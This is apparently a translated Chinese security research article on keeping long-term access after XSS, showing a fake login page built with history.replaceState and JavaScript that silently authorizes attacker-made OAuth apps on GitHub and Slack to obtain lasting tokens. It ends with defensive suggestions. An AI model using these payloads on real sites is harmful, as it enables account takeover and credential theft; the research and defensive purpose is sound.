一、前言
當(dāng)面試時(shí)被問(wèn)到“XSS(Cross Site Scripting,跨站腳本攻擊)最大的危害是什么?”,通常大家的回答是:“攻擊者可以使用?document.cookie
竊取會(huì)話令牌”。
從技術(shù)層面來(lái)講,雖然這一點(diǎn)適用于某些應(yīng)用程序,但在現(xiàn)代瀏覽器中,通過(guò)設(shè)置httponly
標(biāo)志已經(jīng)能夠避免JavaScript讀取會(huì)話令牌信息。
XSS可能還有其他危害,比如能夠完全控制用戶賬戶或者網(wǎng)站,因?yàn)檫@種攻擊能夠以用戶的身份執(zhí)行各種操作、竊取數(shù)據(jù)。雖然從一般意義上來(lái)講,攻擊者的確可以利用XSS以用戶身份執(zhí)行各種操作、讀取各種數(shù)據(jù),但主要的限制因素在于操作執(zhí)行時(shí)間,攻擊過(guò)程受用戶在頁(yè)面上的停留時(shí)間所影響。
在受害者關(guān)閉頁(yè)面后,攻擊者希望能夠長(zhǎng)期有效、不受限制、隱蔽地訪問(wèn)受害者的賬戶,這是真實(shí)存在的一種持久化需求。
為了解決這個(gè)問(wèn)題,攻擊者可以考慮推薦安裝Oauth
應(yīng)用,配合XSS竊取Oauth憑據(jù),攻擊過(guò)程無(wú)需用戶交互,我也會(huì)通過(guò)實(shí)際網(wǎng)站演示幾個(gè)攻擊樣例。
二、其他XSS持久化技術(shù)
在深入研究Oauth之前,我們首先來(lái)看一下其他一些持久化方案。
前面提到過(guò),httponly
標(biāo)志是竊取會(huì)話令牌的一個(gè)主要限制因素,但實(shí)際上還有其他一些限制因素,其中包括:
網(wǎng)上已經(jīng)有一些有趣的技巧能夠?qū)崿F(xiàn)持久化目標(biāo),比如濫用XSS以及JSONP來(lái)安裝Service Workers。
這種技巧并不局限于JSONP。一般而言,如果存在任意文件上傳點(diǎn),或者可以通過(guò)其他方法搞定與XSS入口點(diǎn)同源的一個(gè)JavaScript文件,那么我們就可以安裝service worker。
這種方法存在一些缺點(diǎn),比如:
另一種技巧就是利用UI Redressing來(lái)誘騙用戶輸入憑據(jù)。攻擊者可以使用XSS,在受害者原始頁(yè)面上構(gòu)造一個(gè)偽造的登錄界面,然后攻擊者可以借助現(xiàn)代瀏覽器的API,修改URL地址欄,使其看起來(lái)像是登錄頁(yè)面。
我們可以使用history
?API完成該任務(wù):
history.replaceState(null, null, '../../../../../login');
然后看一下攻擊效果:
首先找到存在XSS漏洞的一個(gè)站點(diǎn):
https://xss-game.appspot.com/level1/frame?query=undefinedundefinedundefined)
然后修改URL,使其看起來(lái)像已經(jīng)重定向到登錄頁(yè)面:
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E
點(diǎn)擊該鏈接后,用戶會(huì)看到自己處于/login
地址,然而服務(wù)端并不存在該地址(如果我們直接訪問(wèn)該地址,服務(wù)端會(huì)拋出500
錯(cuò)誤代碼)。
這種技巧也能掩蓋頁(yè)面的源代碼。如果我們點(diǎn)擊“查看源代碼”,看到的是/login
的源代碼,而不是惡意頁(yè)面的源代碼。
攻擊者可以使用這種技巧竊取用戶憑據(jù),但這種方法最明顯的缺點(diǎn)在于攻擊過(guò)程需要與用戶交互。
三、Oauth持久化方法
Oauth這種機(jī)制允許第三方獲取用戶賬戶的長(zhǎng)期訪問(wèn)權(quán)限,之前已經(jīng)有攻擊者濫用過(guò)該機(jī)制,誘騙用戶點(diǎn)擊授權(quán)按鈕。
授權(quán)第三方應(yīng)用后,用戶可以為第三方應(yīng)用提供一個(gè)長(zhǎng)期可用的令牌,第三方應(yīng)用可以通過(guò)不同方式,利用該令牌訪問(wèn)用戶賬戶。
這里我想探索的是如何使用XSS,在無(wú)需用戶交互的情況下授權(quán)由攻擊者生成的惡意app,我們唯一目的是獲取用戶賬戶的長(zhǎng)期訪問(wèn)權(quán)限。
由于我們能以用戶的身份執(zhí)行一些操作,那么只要Oauth的授權(quán)頁(yè)面與XSS點(diǎn)同源,那么就能以用戶的身份安裝Oauth應(yīng)用。下面我們來(lái)看一下具體例子。
首先我們?cè)贕ithub中構(gòu)建一個(gè)Oauth應(yīng)用:
熟悉Oauth的人都知道,一旦用戶點(diǎn)擊授權(quán)按鈕,我們的服務(wù)器就可以獲取一個(gè)長(zhǎng)期可用的令牌,能夠訪問(wèn)我們請(qǐng)求的所有scope(權(quán)限范圍)。
Github已經(jīng)采取一些防護(hù)措施,用來(lái)保護(hù)某些oauth scope。如果用戶最近在這些scope上沒(méi)有輸入憑據(jù),那么就需要重新輸入憑據(jù)。基于這一點(diǎn),我們的app只請(qǐng)求不需要憑據(jù)的scope。這些scope包括email、Webhooks讀取及寫(xiě)入,這樣我們就能以用戶的身份在repos(倉(cāng)庫(kù))上安裝Webhooks。
由于Github將Oauth授權(quán)頁(yè)面托管在主域名上,因此github.com
上任意位置只要存在XSS漏洞,我們就能以用戶的身份來(lái)授權(quán)應(yīng)用。為了模擬XSS攻擊,大家可以在JavaScript終端中粘貼如下代碼。
警告:如下代碼會(huì)向我的服務(wù)器發(fā)送一個(gè)實(shí)時(shí)Oauth憑據(jù)。
fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
response.text().then(function (text) {
var oauthForm = '<form id="potato" action="/login/oauth/authorize"' + text.split('<form action="/login/oauth/authorize"')[1].split("<button")[0] + '<input name="authorize" value="1"><input type="submit" id="potato"></form>';
document.write(oauthForm);
document.getElementById("potato").submit();
});
})
瀏覽器控制臺(tái):
就這么簡(jiǎn)單,以上代碼可以安裝Oauth應(yīng)用,將令牌發(fā)送給我的服務(wù)器。現(xiàn)在攻擊者已經(jīng)可以長(zhǎng)期訪問(wèn)受害者賬戶,也能以目標(biāo)用戶的身份安裝webhooks。
我們還可以使用這種技術(shù)攻擊slack。如果用戶具備相應(yīng)權(quán)限,則如下JavaScript代碼可以強(qiáng)迫用戶在自己的workspace(工作區(qū))中安裝一個(gè)Oauth應(yīng)用:
為了模擬XSS攻擊,此時(shí)我們還是可以將如下JavaScript代碼粘貼到自己的workspace域中。
警告:如下代碼會(huì)向我的服務(wù)器發(fā)送一個(gè)實(shí)時(shí)Oauth憑據(jù)。
fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
response.text().then(function (text) {
var oauthPath = text.split('<noscript><meta http-equiv="refresh" content="0; URL=')[1].split('?')[0];
fetch(location.origin + oauthPath).then(function(response){
response.text().then(function (text) {
var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
var evilForm = `<form id="potatoCarrots" action="${oauthPath}" method="post" accept-encoding="UTF-8"><input type="hidden" name="create_authorization" value="1" /><input type="hidden" name="crumb" value="${crumb}" /></form><script>document.getElementById('potatoCarrots').submit()</script>`
document.write(evilForm)
})
})
});
})
如上代碼運(yùn)行在用戶workspace的XSS上下文中,會(huì)安裝一個(gè)Oauth應(yīng)用,其scope為channel:history
。攻擊者可以獲取用戶workspace中公開(kāi)channel的長(zhǎng)期讀取權(quán)限。
四、總結(jié)
對(duì)于攻擊者而言,安裝Oauth應(yīng)用是獲取受害者賬戶訪問(wèn)權(quán)限的一種可靠方式。XSS可以用來(lái)安裝應(yīng)用,并且受害者無(wú)法察覺(jué)。
本文討論的這種方法可以替代傳統(tǒng)的?document.cookie
?XSS攻擊方法,獲取目標(biāo)賬戶的長(zhǎng)期訪問(wèn)權(quán)限。
大家可以訪問(wèn)此處獲取支持Oauth的部分網(wǎng)站列表。
五、建議
Slack以及Github會(huì)在安裝應(yīng)用時(shí)向用戶發(fā)送通知郵件,這種方法非常好,可以通知用戶可能存在問(wèn)題的操作。
Github還設(shè)置了一些額外安全策略,使敏感的oauth授權(quán)操作需要重新輸入密碼,這可能是一把雙刃劍,因?yàn)榇藭r(shí)用戶需要定期向應(yīng)用輸入敏感憑據(jù)。前文提到的密碼竊取技術(shù)可能對(duì)用戶群體來(lái)說(shuō)更加有效,因此需要阻止這種自動(dòng)化Oauth令牌竊取技術(shù)影響這些scope。
還有另一種防護(hù)方法,可以考慮將Oauth應(yīng)用授權(quán)地址遷移到獨(dú)立的子域名上。這樣就能限制XSS攻擊面,攻擊者需要找到同源上的注入點(diǎn),如果范圍過(guò)小,這個(gè)任務(wù)可能很難完成。
某些廠商(如Google)已經(jīng)為Oauth授權(quán)頁(yè)面分配單獨(dú)的子域名,也就是說(shuō),我之前分析的許多廠商并沒(méi)有為Oauth授權(quán)頁(yè)面分配單獨(dú)的子域名。
基于這個(gè)原因,我認(rèn)為與Oauth授權(quán)頁(yè)面同源的XSS漏洞(不管是反射型、存儲(chǔ)型或者DOM型)都應(yīng)該比與Oauth授權(quán)頁(yè)面不同源的XSS漏洞危害程度要高。